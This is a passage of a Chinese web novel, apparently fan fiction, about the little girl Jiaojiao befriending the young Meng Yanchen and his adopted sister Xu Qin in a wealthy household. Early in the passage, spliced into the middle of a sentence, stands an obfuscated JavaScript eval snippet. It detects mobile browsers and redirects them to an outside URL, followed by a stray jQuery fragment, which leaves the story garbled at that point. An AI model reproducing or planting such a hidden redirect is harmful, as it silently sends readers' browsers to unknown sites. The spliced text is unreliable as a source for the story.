孟宴臣:“是的,季阿姨,你不要责怪皎皎,是我邀请她来家里玩的。” 季如兰有些受宠若惊:“哎呦,那怎么好意思呢。” “没什么。”付闻樱淡淡道,“说起来以前每次见到小孩子,都是我给他们见面礼,这还是第一次有小孩子送我礼物。” 亲朋故旧的小孩子都怕她,这一点付闻樱多多少少也知道。 付闻樱对孟宴臣道:“既然是你邀请的客人,就要好好款待人家,尽地主之谊。” 于是,两个孩子在双方母亲的默许下,一起去落地窗前玩游戏,孟宴臣怕顾白月拘谨,特意说:“我有一套乐高,一直拼不好,皎皎可以帮我一起做吗?” “哇,是乐高啊……”顾白月看着那放在大盒子里的乐高,不无艳羡地说:“我还只在电视上见过这么大的乐高积木呢。” 两人兴致勃勃地拼了起来。 孟宴臣思维敏捷,空间逻辑能力比较强,负责搭建整体架构。顾白月眼尖手快,林间小鹿一样活力十足,总是能在孟宴臣需要时,递给他正确的积木。 小孩子有小孩子的社交话题,齐心协力攻克游戏城堡时,自然而然地交谈起来。 孟宴臣很纳闷:“皎皎,你不害怕我妈妈吗?” 顾白月皱皱小鼻子:“还好吧。”她又郑重其事地问:“那阿姨吃人吗?” 当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9419427|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电视上正在热播一版翻拍的《西游记》,春田花花幼儿园的小朋友们,对于大人究竟吃不吃人这个问题,曾经进行过非常激烈地讨论呢。 孟宴臣也联想到了几次三番差点被吃的唐僧,还有那总是解救他于磨难之中,上天入地无所不能的齐天大圣。 但凡是小朋友,就没有不喜欢大圣的,孟宴臣也一样,他仔细想了想,妈妈平常虽然严厉了一些,规矩和要求多了一些,但妈妈并不吃人…… 这么一想,好像妈妈也没有那么可怕了。 …… 孟怀瑾中午不在家,午饭是付闻樱带着孩子们吃得。 开饭前,季如兰本想将顾白月叫走,跟她一起去吃员工餐,付闻樱却说:“是客人就应该受到礼遇。” 让客人躲在厨下吃饭,孟家没有这样的规矩。 季如兰嘱咐了顾白月几句,自己去休息室吃饭了。 最终餐桌边坐了一个大人,三个小萝卜头。 许沁是最后一个落座的,佣人上去喊了她好一会儿。 这小姑娘刚开始还说自己不饿,不想吃饭,后来付闻樱亲自上去了一趟,许沁垂着脑袋跟在她后面走下来。 用餐时,许沁坐在顾白月对面,顾白月多看了她几眼。 一个安静瘦小,看似柔柔弱弱,实则透着淡淡倔强的小姑娘,长长的刘海半遮住眼睛,有意缩小自己的存在感。 开动之前,付闻樱道:“沁沁今天刚来家里,妈妈有些事需要教给你。”她顿了顿,望向顾白月:“皎皎也可以跟着一起听听,女孩子多学一点东西没坏处的。” 顾白月点头。 付闻樱拿起餐具示意:“吃饭时身子要端正,手轻轻扶着碗,一勺一勺慢慢往上舀,不要发出声音;一道菜再喜欢也要,不要连续夹菜超过三次;提手落筷要稳当,碰触盘子时要静静的……” 顾忌着许沁初来乍到,付闻樱自认为并没有教授太难的礼仪,她说这些都是吃饭时应该做到的,哪怕是普通人家也没有允许孩子在餐桌上翻来翻去,唾沫星子乱飞的。 要是真拿出上流社会那一套,足够让沁沁这孩子学一个月了。 顾白月饶有兴致地听了一圈,发现都是一些妈妈规束孩子们的常用词,有些幼儿园的老师也再三教过的,倒是不难理解。 然而许沁却听得一个头两个大,眼里慢慢又浸了泪花。 好麻烦…… 她就想简简单单吃顿饭,为什么就这么难。 许沁张了张嘴,想说以前爸爸妈妈在时,从来没有用这些条条框框要求过她,她每次闹脾气不吃饭,爸爸妈妈都会想方设法哄着她。 有时候佣人还会戴着一次性手套,将剥好的小龙虾,剃干净刺的鱼肉,蘸了酱料的西蓝花,分门别类地放在碗碟里,追着求她吃一口。 现在,一切都没了。 以后再也不会有人那么疼爱她了。 顾白月看着许沁红通通的眼睛,顿时目瞪口呆: 不是,这些餐桌礼仪有那么难吗? 而且,我寻思付闻樱女士也没说必须一天学会啊。 5. 孟宴臣(五) 季如兰第一天上班适应良好,归根结底是孟家的活并不多,且分工明确,季如兰主要负责煲汤,饭菜和甜点另有专人分管。 晚上的开胃汤熬煮好后,就到了季如兰下班时间。 顾白月眼巴巴地瞅着客厅里的挂钟,一到七点就同孟宴臣告别,兴冲冲地跑去找妈妈。 看着被收起来的乐高玩具,孟宴臣有点意犹未尽,他送顾白月母女到大门口,“季阿姨再见,皎皎再见。” 接下来一个星期,顾白月照常去春田花花幼儿园上学。 幼儿园四点半放学,那时候季如兰还在孟家工作,为了不让孩子饿肚子,季如兰给顾白月报了一个晚托班,附带小饭桌服务的那种。 不过到了周六周日,幼儿园和晚托班都暂停服务,顾白月就会像小尾巴似地缀在妈妈身后,被季如兰安排在小亭子,或者在孟家的员工休息室里写作业。 季如兰人美声甜,性格也温柔似水,又做得一手好汤水,在孟家一众工作人员中人缘还不错。 母女两人私下聊天时,季如兰会跟顾白月讲述自己上班情况,据她说孟家家主孟怀瑾是个大忙人,经常在外应酬,不过季如兰见过他几回,是一个看起来温和儒雅,偶尔又会露出说一不二气势的厉害人物。 小少爷孟宴臣待人处事,进退得宜,季如兰有一次顺手替他倒了一杯水,孟宴臣很自然地认真道谢,倒让季如兰怪不好意思的。 刚被收养不久的小姑娘许沁,太过安静,大部分时间都躲在房间不出门,季如兰对她并不熟悉。 至于付闻樱,瞧着冷冷淡淡,精明强势,其实每时每刻都在替子女打算,是季如兰心目中最优秀的母亲。 她不止一次地感慨:“还是孟太太会当妈妈。” 顾白月搂住季如兰的脖子,甜滋滋地说:“妈妈也是很厉害的妈妈啊,皎皎最喜欢妈妈了。” 顾应军走后,季如兰能够快速适应一切,带着几岁大的女儿艰难谋生,已经非常了不起了。 因为晓得季如兰的辛苦,顾白月总想在力所能及的范围内,帮助妈妈减轻一点生活负担。 季如兰忙不过来时,顾白月会主动替她择青菜剥蒜瓣儿。 小姑娘矮矮小小一个,脸上一团孩子气,提着个小菜篮子跑来跑去地干活,看得人心都快萌化了。 甜点师爱得不行,胖乎乎的脸上眼睛笑成一条缝,顺手将一个小蛋挞塞进顾白月嘴里,“好吃吗?” 顾白月眼眸都亮了:“好次……” 甜点师故意逗她:“嘘,小声点,这可是叔叔我偷偷给你拿的,被太太知道了要扣钱的,说不定还会开除我。” 顾白月:……啊,玩这么刺激的吗? “皎皎。”孟宴臣走了过来。 “!” 顾白月怕被孟宴臣看出来,紧紧捂住嘴巴,只眨巴着水汪汪的大眼睛看着他,用目光问:什么事啊,宴臣哥哥? 孟宴臣:“我刚上完英语课,接下来会有二十分钟休息时间,咱们接着搭积木好吗?” 顾白月点头,被孟宴臣牵着离开,临走时甜点师挤眉弄眼冲顾白月暗示:千万不要被发现哦! 走了几步,孟宴臣忽然停了步子,扭头仔仔细细地看着顾白月,“皎皎,你今天好像有点不一样……” 小哥哥你也太敏锐了吧,顾白月仰头无语问天。 皎皎的脸圆鼓鼓的好可爱,孟宴臣又想捏了,他觉得这样不对,有欺负妹妹的嫌疑。 万一……万一皎皎生气不理他了呢。 付闻樱刚结束一场商务会议外出归来,走进家门就看到巨大的落地玻璃窗下,软乎乎的地毯上,面对面坐着两个灵气十足的孩子,正有商有量地搭积木。 画面温馨又美好。 一向内敛寡言的儿子,此时此刻全然放松,那根竖在他心中时时绷紧的弦,好像短暂地消失了,难得露出那么无忧无虑的笑。 付闻樱有一瞬间的恍惚。 她后知后觉地忆起,自己好像已经很有没有看到儿子这么开心。 孟宴臣是她身上掉下来的一块肉,是她咬着牙在医院足足疼了九个小时,才换回来的一份天赐礼物,要说付闻樱不疼孟宴臣,那才是滑天下之大稽。 只是,她似乎一直以来都忽视了,孟宴臣想要的究竟是什么。 话说回来,皎皎这孩子是真不错…… 提到顾白月,难免联想到许沁,付闻樱微不可见地皱了皱眉,女孩子容易害羞很正常,但不能便得越来越怯懦,畏首畏尾的。 佣人过来接付闻樱换下来的外套,她道:“把沁沁喊下来,让她跟哥哥一起玩。” 许沁一步一挪地从楼梯上走下来,她居高临下地看了看自己名义上的哥哥,孟宴臣正带着那个叫做顾白月的小女孩,聚精会神地用积木给城堡搭建旋转楼梯。 “放这里……” “不对不对,应该放这里。” “可是这样好奇怪……” 许沁咬着唇角看了一会儿,怯生生地说道:“哥哥,我可以跟你一起玩吗?” 孟宴臣和顾白月同时望向她,“当然可以啊。” 孟宴臣没有忘记,这是他的妹妹,父母已经将收养手续办理好,以后他们就是一家人了,虽然这个妹妹有时冷冰冰的不爱搭理人,但他是哥哥,应该有小男孩子汉的担当。 顾白月动了动身子,小屁股一吨一吨的迁徙到旁边,让出一片区域给许沁坐。 多亏了季如兰精心地照顾,顾白月最近又长了点肉,小屁股软软弹弹,好像装了小弹簧,哒哒哒地一往无前。 这一挪,自然就距离孟宴臣更近了。 孟宴臣:啊,又想捏妹妹的脸蛋了,不行,忍住,惹哭了你又不会哄。 积木快要完工,必须争分夺秒地赶工期,顾白月跟孟宴臣继续埋头苦干。许沁说是要加入,坐下来之后又什么都不做,孟宴臣跟她说话,她也只是嗯嗯嗯地应对,然后继续睁着满是忧虑的大眼睛发呆。 望着配合默契的两人,回过神来的许沁有些不高兴:他们,在孤立我吗? 不然为什么不让她参与呢。 顾白月手边缺了一块墨绿色长条形积木,瞅来瞅去,眼尖地在许沁脚边发现一块, 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孟家跟肖家比邻而居,打了十来年交道了,彼此知根知底,互通有无。前一段孟家突然收养了一个小姑娘的事,肖家自然也清楚,只是那一段肖亦骁不在家。这不他刚从姥姥家回来,肖家父母就提醒他来孟家拜访,认识一下孟家新来的妹妹,来了礼数。 肖亦骁心想:凭我跟我这铁子的关系,他妹妹还不就是我妹妹啊。 “妹妹好,我是你肖哥哥,你可以叫我小哥哥,或者直接叫哥哥。妹妹你这么可爱,以后常来我家玩啊,哥哥有好多好多巧克力,都给你吃。” 他盯着顾白月瞧来瞧去,又一把揽过孟宴臣,“你别说,你还真别说,咱这妹妹水灵灵的多漂亮啊,怪不得能被我付阿姨看上。不是我吹,付阿姨眼光嘎嘎好,肯定是把福利院里最好看的小姑娘薅回家了。” 顾白月:…… 孟宴臣知道肖亦骁误会了,虽然他也很喜欢皎皎,很想让皎皎给自己当妹妹,但这并不表示孟宴臣会忽视许沁。 他心底是温暖又善良的,连陌生人的难堪都不忍心目睹,何况是爸爸妈妈认可的妹妹。 孟宴臣郑重地对肖亦骁说:“皎皎是家里的客人,沁沁才是我妹妹,你不要乱说话。” 肖亦骁:啊,这…… 他有点尴尬,顺着孟宴臣的视线看向积木后的许沁,挠了挠头憨憨一笑:“那什么,怪我眼神不好,你别生气啊。” 然而许沁已经摇摇欲坠了。 她究竟为什么要忍受这些人的羞辱? 看出许沁脸色难看,眼底含着薄薄一层泪光,肖亦骁有点不忍心,往自己后脑勺拍了一巴掌,努力找补:“其实你也挺漂亮的,就比皎皎差那么一小点点,以后可以一起来我家玩啊,咱们放电影看……” 顾白月:……你小子最好闭嘴。 能不能来个人把他给拖出去啊。 许沁一言不发地站起身,默默回房间了。 这下肖亦骁更不是滋味了,“我是不是又说错话了?” 孟宴臣和顾白月对视一眼,双双无奈。 6. 孟宴臣(六) 天气暖晴,明灿灿的阳光匹练一般射下来,落在顾白月眼里,满地都是跳动的金子。 顾白月系着小围裙,坐在院子里的小马扎上,一边剥豆,一边哼哼唧唧地唱歌,偶尔往二楼投去充满同情的一瞥。 大家族的继承人可不是那么好当的,单看孟宴臣那满满当当的课程表,不知道的还以为是特种兵训练营呢。 为了更好地掌握海外形势,接洽国际业务,付闻樱为孟宴臣制定了小语种学习计划,除了英语,德语、法语也要有所涉猎。 虽然孟宴臣是个聪明孩子,但说是天才还远远不够,他之所以能够在同龄人当中保持优秀,一直做学校里的佼佼者,大半原因都是他足够努力。 今天上午有两节线上课,孟宴臣跟着外语老师苦练发音,说得嘴巴都有些发僵发麻,从头到尾始终提着精神。 这位外语老师据说曾是一所顶尖名校的教授,非等闲之辈,付闻樱费了许多人力物力,才搭上关系,请老教授出山指点儿子。 老教授一辈子育人无数,眼光挑剔又苛刻,手底下也带出了不少精英人物,孟宴臣几乎使出吃奶的劲儿,才勉强老教授满意。 一节课结束,孟宴臣后背衬衣都湿透了,明显感觉有些吃力。 男孩揉了揉眼睛,趁着下课的短暂空闲,走到阳台缓解心情,刚一靠近就听到软软乎乎的小奶音,糯兮兮地在那里哼唱:“再见了妈妈,今晚我就要远航……” 孟宴臣趴在栏杆上,朝下面看去。 春田花花幼儿园今天晚上有文艺汇演,白天不上课,方便各位家长带孩子去做妆造。 草莓班的老师们建议大家表演童话故事,季如兰接到消息后很配合,兴致勃勃地带顾白月去买公主裙。 然而,顾白月审美清奇,稳准狠地从一众公主裙中,挑出了最简洁最便宜的那套。 店主阿姨捂着嘴笑:“这条裙子还有配套的小道具呢。” 所谓的小道具是一把小扫帚。 顾白月……原来是灰姑娘同款,大意了。 棉麻材质的蓝色蓬蓬裙,搭配着粉红色格子围裙,在后腰处系成大大的蝴蝶结,裙摆还似模似样地进行了做旧处理,上面打了两个可可爱爱的补丁,装饰意义远大于实际效用。 小姑娘戴着头巾,穿着灰姑娘的裙子,亲妈趁机将小扫帚塞到她手里,顾白月眨巴眨巴眼睛,一脸懵逼。 这呆呆萌萌的小模样,瞬间击中季如兰和店主阿姨的心。 也不知道季如兰哪来的恶趣味,非要说顾白月穿这套衣服很好看,完美戳中了她的萌点,自动带入恶毒后妈的人设:“哦,讨人厌的灰姑娘,请你快点把这些豆子剥了,否则就罚你不许吃晚饭!” 顾白月:…… 提着小篮子,乖乖巧巧地开始干活。 怎么办呢,灰姑娘也要恰饭的啊。 “皎皎。”孟宴臣冲她打招呼,开玩笑说,“皎皎要去哪里远航?” 顾白月抬头:“嗳,宴臣哥哥你下课啦?那真是太好了,快点过来帮我剥豆子吧。”一天到晚都待在书房学习,会把人学傻的。 “好啊。” 孟宴臣哒哒哒地跑下来,毫不介意地将造价昂贵的卫衣袖子撸起,拿起一条毛豆,学着顾白月的样子剥开。 沿着毛豆的缝,用手指轻轻一扣,露出一溜儿五梨圆滚滚的豆子,孟宴臣将小心翼翼将它们放进碗里。 瓷白的碗,碧青的豆子,看起来莫名治愈。 “是这样吗?” “对啊对啊,宴臣哥哥好棒。” 孟宴臣不好意思地抿唇笑了,这个出身显贵的男孩子身上没有丝毫跋扈之气,又清爽又内敛,笑起来竟然有点害羞。 原来只是完成这么简单的一个动作,就可以收获表扬吗? 那颗经历了一上午挫败,不停质疑自己否定自己的心,好像忽然没有那么难受了。 瞧见孟宴臣神情舒缓,眼底的沉闷也消散不少,顾白月微微放心,眼珠子一转故意道:“宴臣哥哥一定要多帮我剥豆啊,妈妈说了活干不完不许吃饭。” 孟宴臣觉得季女士不会这么苛待皎皎,但他还是选择相信了,“皎皎别怕,哥哥帮你。” 季如兰不经意间往窗外一看,心跳都快被吓停了,连忙走出来:“少爷,您怎么能干这些活儿呢?快起来快起来。” 她又不轻不重地朝顾白月后背拍了一巴掌,“你这孩子怎么这么皮啊,妈妈跟你开玩笑的,你怎么能给少爷添麻烦呢。” 拿钱办事,这规矩季如兰还是懂得,她自己的女儿帮着做一些微不足道的小活儿也就算了,让孟宴臣也跟着沾手厨房琐事,这算怎么回事。 回头付闻樱知道了,季如兰不好交差的。 孟宴臣连忙站起身挡在顾白月身前,还向季如兰解释:“季阿姨,你不要怪皎皎,是我自己愿意做的,万一妈妈知道我也会跟她说明的。” 他又扭头对顾白月道:“谢谢你皎皎,我本来上课上得头疼,现在一点都不难受啦。” 被孟宴臣护在身后,看着他单薄稚弱的背影,顾白月豪气地笑着摆摆手:“嗨,多大点事啊,不客气。” 季如兰哭笑不得。 头回见被分派了活计的人,向使唤自己的人道谢。 哪怕孟宴臣自己心甘情愿,季如兰也不敢让他再干活了,只好收了毛豆,无奈地让顾白月去玩了。 正在这时,肖亦骁跑来了,这段时间他经常来孟家玩,撞见顾白月时就嘻嘻哈哈地逗她,没遇到时还会黏黏着孟宴臣问:“宴臣宴臣,咱妹妹呢?” 孟宴臣忍无可忍:“……那是我妹妹。” 肖亦骁:“许沁是你一个人的妹妹,皎皎是咱们两个人的妹妹,不许拦着我找她,否则……否则我就让我爸花高价把季阿姨挖走!” “你不会成功的。” 孟宴臣淡定陈述。 “哼,你怎么知道我不会成功?” 孟宴臣心说:就凭你上次见到皎皎之后,热血上头,跑回家哭着闹着让肖阿姨给你生个妹妹,还说妹妹的长相千万不能像爸爸,肖叔叔气得差点把你吊起来打。 好不容易见到顾白月,她又打扮得古灵精怪的,肖亦骁瞧得心痒痒,冲过去左右开弓,一边一个捏住顾白月脸颊,嘴巴里发出土拨鼠一样的尖叫:“啊啊啊啊,怎么会这么可爱,好像雪媚娘啊……” “放凯窝,你介个坏银…… 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以孟家的地位,这样的事本来交给助理去做就行了,是付闻樱考虑到许沁刚转入新学校,怕她不适应,又怕学校里有人欺负她,就携许沁去拜访了一圈校领导。 看到三个孩子在草坪上打闹,付闻樱轻轻一咳,顾白月等人马上停了动作,乖乖站好齐刷刷道: “妈妈。” “阿姨好。” “阿姨好。” 付闻樱微不可见地点头。 见许沁束手束脚地缩在后面,一副畏惧又胆怯的样子,付闻樱皱眉,沁沁这孩子都来十几天了,怎么还这么唯唯诺诺。 “沁沁,你要跟哥哥他们一起玩吗?” 许沁目光惶惶然地望过来,点头又摇头,有些无措,像一只受惊的小兔子,就是支支吾吾说不出完整的话。 眼看付闻樱已经有些不耐了,顾白月递出橄榄枝:“许沁姐姐,过来一起玩呀。” 付闻樱转身退出孩子们的游乐场。 “唔……”许沁慢吞吞地走过来,眸色奇异地盯着顾白月身上的衣裙,特意瞅了瞅那两块小狗补丁,“好可怜……” 顾白月疑惑:“什么?” 许沁想:她真可怜啊,跟福利院里那些脏脏臭臭的小孩子一样,竟然喜欢有补丁的衣服,听说她妈妈就是厨房里的那个煲汤阿姨,怪不得…… 不过,看在她刚才刚跟我说话的份上,我不应该笑话她的,许沁暗暗道。她还记得爸爸以前说过,千万不要在穷人面前笑话他们,他们会发脾气的。 于是许沁又不说话了。 顾白月:呃…… 她觉得许沁的目光很奇怪,好像有点自傲,有点怜悯,又有点嫌弃,看向顾白月时像是在看吃不起饭的小乞丐。 原谅顾白月不是很懂对方的脑回路。 倒是肖亦骁大大咧咧问出来了:“皎皎,你为什么穿这样的衣服啊?” 顾白月:“幼儿园今天晚上有文艺汇演哦,我是灰姑娘,怎么样,好不好看?” 孟宴臣很捧场地说:“好看。” 肖亦骁一听就来了兴趣:“文艺汇演?我想去看!对了,宴臣,许沁妹妹,咱们一起去给皎皎加油吧?” 7. 孟宴臣(七) 在肖亦骁软磨硬泡的撒娇攻势,以及顾白月甜兮兮的小奶音的祈求下,付闻樱竟然松了口,同意让几个孩子一块去看文艺汇演。 是的,付闻樱要求许沁也去,尽管许沁本人并不愿意。 顾白月猜想,付闻樱大概是看出许沁太多自我,与孟家疏离隔阂,所以想让她趁机和孟宴臣尽快熟识起来。 不管怎样,有这么庞大的亲友团助阵,顾白月可骄傲了呢。 等待上台时,草莓班的其他小朋友问:“皎皎,你们家只有妈妈来吗?我爸爸妈妈都来了,待会儿表演时可以收到两朵小红花哦。” 小朋友们不知道顾应军的事,只是简单一问,并没有什么恶意。 了解实情的家长却立刻变了脸色,表情尴尬地冲季如兰和顾白月笑:“不好意思,孩子不会说话,皎皎别往心里去。” 顾白月当然没往心里去,她昂着漂亮的小脑袋,神气极了:“谁说我们家只有妈妈来,看,那也是我的亲友团,都要给我加油打气送小红花的。” 小朋友顺着顾白月指的地方看过去,瞬间羡慕了:“哇,皎皎,那是你的哥哥姐姐吗?他们都好好看哦。” 很快就到了顾白月上台,她穿着灰姑娘衣裙,抱着比人还高的小扫帚,手脚并用地来到爬上台阶,来到舞台中央,表情浮夸又稚嫩地说:“啊,又是糕糕的一天……” 一时嘴瓢,把糟糕说成了糕糕,顾白月小脸一红,在众目睽睽之下,开始笨拙地扫地。 满座家长哄堂大笑,有人问:“这是谁家孩子,怎么这么可爱,好想偷回去。” 孟宴臣和肖亦骁坐在季如兰身边,憋着笑看顾白月自说自话,说起来她平常挺机灵的,这会儿好像被大家笑得有点羞恼。 “妹妹真可爱。” “是我妹妹。” “也是我妹妹。” 许沁坐在季如兰另一侧,神游天外。 到了献花环节,季如兰原本想带着三个孩子上台,给第一次登台表演的顾白月庆祝,但许沁有些排斥,不想成为大家注目的焦点。 季如兰就留在座位上照顾许沁,让孟宴臣帮忙送小红花。 肖亦骁冲在最前面,搞怪地将小红花贴在顾白月脸颊,还顺手揪了一把,“皎皎你好笨哦,刚才差点被扫把绊倒,万一摔个狗啃泥,肯定很好玩,哈哈哈……” 顾白月叉腰辩解:“那是因为我第一次表演,没有经验,不许笑话人。”她说完就看到一步的孟宴臣走过来。 明明是顾白月的文艺汇演,孟宴臣却似乎比她还重视,穿着妥帖的小西装,圆头皮鞋锃亮,就是脸上的神情有点失落。 还有一丝淡淡的委屈。 顾白月纳闷了,孟宴臣怎么了? 孟家的司机就候在外面,等几人忙完,就送孩子们回家。 因为此次出行有一个大人,四个孩子,孟家司机开得是一辆加长款商务车,是付闻樱的私人座驾之一。 坐在汽车后座,顾白月拉着情绪不高的孟宴臣说悄悄话,“宴臣哥哥,我们来玩游戏吧。” 游戏很简单,顾白月随口报出五官名称:“鼻子鼻子在哪里,眼睛眼睛在哪里?” 这是幼儿园老师用来锻炼孩子们反应能力,帮助小朋友建立对五官的基础认知的一种小游戏,孟宴臣自诩是大孩子了,当然不会露怯。 顾白月又问:“嘴巴嘴巴在哪里?” 孟宴臣的手指停在嘴巴那里。 顾白月古灵精怪地笑了,小小声地对孟宴臣说:“宴臣哥哥,你说小宝宝生下来为什么会有嘴巴呢?” 这是什么傻里傻气的问题,孟宴臣笑她:“当然是为了吃饭,还有说话。” 顾白月大力点头:“对啊对啊,所以我们有了不开心的事就要说出来,这样皎皎才能明白宴臣哥哥在想什么啊。皎皎不是蜗牛,没办法用长角角一碰,就知道宴臣哥哥喜欢红色还是绿色。” 顾白月说得是方才文艺汇演时,苹果班的小朋友演得童话故事,叫做《蜗牛的心事》。 “皎皎……” 孟宴臣明白皎皎的意思了,他有些赧然,自己不该乱生闷气的,皎皎不是蜗牛,他也不是,他们头上没有长角角,所以有问题就要说出来,而不是藏在心里。 他抿了一下唇,紧张地说:“那皎皎,我可以问你一个问题吗?” “什么问题?” 孟宴臣:“皎皎是更喜欢肖哥哥吗?”他微微垂头,神态有些沮丧,说实话肖亦骁确实比他好玩,肖亦骁阳光开朗,活泼爱笑,家里还有一间大大的玩具房。 他只有一整面墙的书。 要是让他选,他也会觉得肖亦骁更有意思,更适合当哥哥。 顾白月:“才不是哩,我最喜欢宴臣哥哥了。” “真的吗?”孟宴臣眼眸一亮,有些不敢置信:“可是,皎皎让你肖哥哥捏脸蛋,我都没有捏过,一次都没有。” 肖亦骁已经捏过三次了。 孟宴臣都数着呢,每一次都记得清清楚楚,记在专门的小本本上。 顾白月想笑,原来孟宴臣看起来懂事礼貌,其实还是有小孩子的独占欲,竟然会为这么一点小事吃醋。 小姑娘笑嘻嘻地凑过来,抱着幼儿园老师奖励的一支向日葵,灿烂地说道:“那皎皎也给你捏好不好?” “真的,真的吗?” 家教告诉孟宴臣要拒绝,不可以做失礼的举动,但内心的向往又让孟宴臣开不了口,他颤巍巍伸出手,轻之又轻地捏了一捏。 指尖好像触碰到薄皮大包子,软绵绵糯兮兮。 真的好好玩。 顾白月哄他:“宴臣哥哥不生气了吧?” 孟宴臣羞了:“没有,没有生气。” 临下车前,顾白月冲孟宴臣挥手,还偷偷告诉他:“宴臣哥哥放心吧,皎皎跟你天下第一好。” 孟宴臣郑重承诺:“嗯嗯,我也跟你天下第一好。” …… 周末,孟宴臣照常去上马术课,同在一个班除了肖亦骁,还有韩廷,都是一起从小玩到大的好朋友。 上马之前准备戴护具时,孟宴臣发现自己的护膝忘记带了,他在手提包里翻了翻,发现里面确实没有。 一旁的肖亦骁看到了,顺嘴说:“让皎皎帮忙送过来呗。” 孟宴臣认真摇头:“不可以的,骁骁,季阿姨是我们家雇佣的员工,皎皎不是,我没有权力随意使唤她跑腿。” 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孟宴臣和肖亦骁惊呆了,回头一看,那穿着西瓜粉连衣裙,手里费劲地提着一个小袋子,满脸软萌笑意的小姑娘,不是皎皎还能是谁。 孟宴臣:“皎皎,你怎么来了?”将袋子接过来,怕把小姑娘累坏了。 顾白月:“妈妈说宴臣哥哥的东西忘带了,司机叔叔要过来送,我求司机叔叔带我一起来的。” 肖亦骁凑热闹:“那太好啦,皎皎先别急着走,不是我跟你吹,哥哥我骑马的样子简直帅到没朋友。” 臭屁小孩。 顾白月捧着脸,仿佛一朵太阳花:“尊嘟假嘟o.O” 好可爱的口音,孟宴臣忍俊不禁,非常自然地捏了捏顾白月的脸,再没有之前的瞻前顾后,小心翼翼。 不过,肖亦骁的话虽然有夸大的嫌疑,但当三个小少年穿戴整齐,动作干净利落地翻身上马时,还真是有一股说不出的潇洒帅气。 马术老师已经来了,孟宴臣骑在马上对顾白月说:“皎皎在这里玩一会儿吧,要是无聊可以先回家。” 训马这么有趣的事,看看也不亏啊,顾白月乖巧道:“宴臣哥哥去上课吧,皎皎等你。” 剪裁利落的骑装,精致的头盔和护目镜,孟宴臣驾马奔跑时,像一阵风般清爽迅疾,看得顾白月羡慕不已,要不是年龄太小,她也想骑马驰骋试试。 马术课结束,孟宴臣第一个跑了过来,一个漂亮的翻身下马,反手摘掉头盔,气喘吁吁地问:“等着急了吧?” 顾白月:“没有哦,宴臣哥哥今天好帅,好像小王子。” 孟宴臣笑了,牵着顾白月一起回家。 到了孟家,顾白月正想溜到后厨找妈妈,却听付闻樱唤她过去,许沁干巴巴地站在一旁,气氛莫名有些尴尬。 顾白月:“阿姨有事吗?” 付闻樱递过来一叠资料:“阿姨要给你沁沁姐请舞蹈老师,这老师人很不错,既然好不容易请到了,就要人尽其用。皎皎把这些拿给你妈妈看看,她要是同意的话,我可以让舞蹈连你一起教。” 顾白月眨巴眨巴眼睛:跳舞?这个我熟啊。 8. 孟宴臣(八) 顾白月将舞蹈老师的资料拿给季如兰。 付闻樱是什么人呐,能被她看上的舞蹈老师,肯定并非泛泛之辈,那密密麻麻写满几张纸的优秀履历,以及很多季如兰听都没听过的大小奖项,明晃晃地彰显着此人的优秀。 这样的机会可遇不可求,季如兰几乎立刻就动心了,不过,想到费用问题她又有些踌躇,家里现在一贫如洗,甚至还有几笔欠款没还上。 聘请国内顶尖舞者来教授孩子,所需费用自然也是不菲,也就孟家财大气粗能够办到。 看出季如兰为难,顾白月乖巧地主动说:“妈妈,皎皎不喜欢跳舞,皎皎不学。” 季如兰知道女儿在哄自己,皎皎怎么可能不喜欢跳舞呢,小时候她看电视,一遇到舞蹈节目就兴致勃勃,走路还走不稳呢就跟着学。 见顾白月进了厨房,迟迟不出来,守在外面的孟宴臣有些猜到了什么。他虽然出身优渥,却并非不是人间疾苦,也不会说出何不食肉糜这类可笑的话。 他只是想也不想地跑上楼,抱出一个小猪存钱罐,开心地对顾白月说:“皎皎别担心,哥哥有钱,哥哥给你交学费。” 桃粉色小猪圆滚滚,胖嘟嘟,安安静静地坐在孟宴臣怀里,那双描着眼线的卡姿兰大眼睛,一眨不眨地跟顾白月同样水汪汪的大眼睛对视。 顾白月叹气,心里不能说不感动,小孩子的友谊最纯真干净了,可是…… “谢谢宴臣哥哥,不过,妈妈说要交给舞蹈老师好多好多钱,杀了小猪也不够的。” 以这只小猪存钱罐的体积,就算里面满满当当塞得都是红票子,也还差着一截呢。 顾白月一向看得开,有多大碗就吃多少饭,何必打肿脸充胖子呢。付阿姨给许沁请舞蹈老师,能顺带想到顾白月,这是一份善意,所以顾白月会听她的话,将事情转达给季如兰,但这并不表示顾白月就非要拜这个舞者为师。 一切顺其自然就好。 谁知,孟宴臣听了顾白月的话,不解地反问:“啊,这些银|行|卡还不够吗?” 顾白月僵住了:“这里面都是银|行|卡……” 孟宴臣一脸理所当然:“是啊,要是不够的话,我房间里还有两张黑卡。” 顾白月:……不是,究竟是谁教你们有钱人这么炫富的啊。 趁着顾白月呆头呆脑,没有反应过来,孟宴臣拉着她走到客厅,鼓起勇气,认认真真地同付闻樱说:“妈妈,我记得你说过,如果我想要使用自己的零花钱,必须向你申请。” 付闻樱淡淡颔首,她看了一眼孟宴臣与顾白月牵在一起的手,知道了孟宴臣的意思,“你想资助皎皎?” “可以吗?妈妈。”孟宴臣小心翼翼地询问,神情之中难掩紧张和忐忑。他知道家里都会捐钱捐物,帮助一些贫困山区的失学儿童,既然这样,为什么他不能资助皎皎呢? 被两双同样剔透无暇的眸子,饱含期待地注视着,付闻樱竟然诡异地感受到一丝压力,她对孟宴臣道:“爸爸妈妈教过你,凡事都要有计划。如果你想要资助皎皎,就应该思虑周全,而不是一时心血来潮,仅凭三分钟热度,否则那就不是帮助皎皎,反而会害了她。” 孟宴臣有些迷茫,他这个年纪,绝大多数时间都在跟小学题,以及五花八门的补习班才艺班奋战,关于公司运营和人才管理,只是听孟怀瑾和付闻樱口头指点过,并未正式开始学习。 